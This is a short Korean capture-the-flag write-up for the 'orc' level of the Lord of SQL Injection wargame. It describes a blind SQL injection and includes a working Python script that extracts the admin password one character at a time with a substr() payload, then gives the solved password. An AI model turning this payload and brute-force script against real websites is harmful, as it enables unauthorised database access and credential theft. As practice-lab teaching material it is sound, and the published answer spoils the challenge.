$result['pw'] == $_GET['pw']조건을 만족시켜야 이번 문제를 풀 수 있다.
pw를 알아내야 하기때문에 블라인드 인젝션문제이다.
1.패스워드의 길이를 알기위해 length(pw)= '@<-에 숫자를 무작위로 대입해본다. 8글자 라는 것을 알게 되었고
2.substr()을 이용해서 한글자씩 비교를 해본다. 비교하는 문자가 동일할 시 Hello admin이 출력된다.
수작업대신 스크립트를 돌리는 방법을 추천한다.
import urllib2
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36',
'Cookie': '__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID='}
result=[]
for j in range(1,9):
for i in range(48,123):
urL="http://los.eagle-jump.org/orc_47190a4d33f675a601f8def32df2583a.php?pw=1%27%20||%20id=%27admin%27%20%26%26%20substr(pw,{0},1)=%27{1}".format(str(j),str(chr(i)))
request = urllib2.Request(urL, None, headers)
response = urllib2.urlopen(request)
res=response.read(160)
if "Hello admin" in res:
result+=str(chr(i))
print result
패스워드는 8자리이지만 D와 d가 대소문자 구분없이 인식하기 때문에 for문을 돌면서 대문자와 소문자에서 모두 Hello admin이 출력되기 때문에 9자리가 나온다. 둘중 아무거나 4번째 자리에 넣어주면 된다.
8자리를 모두 알아내면 pw는 295d5844이고 대입하면 clear이다.
los_orc1.py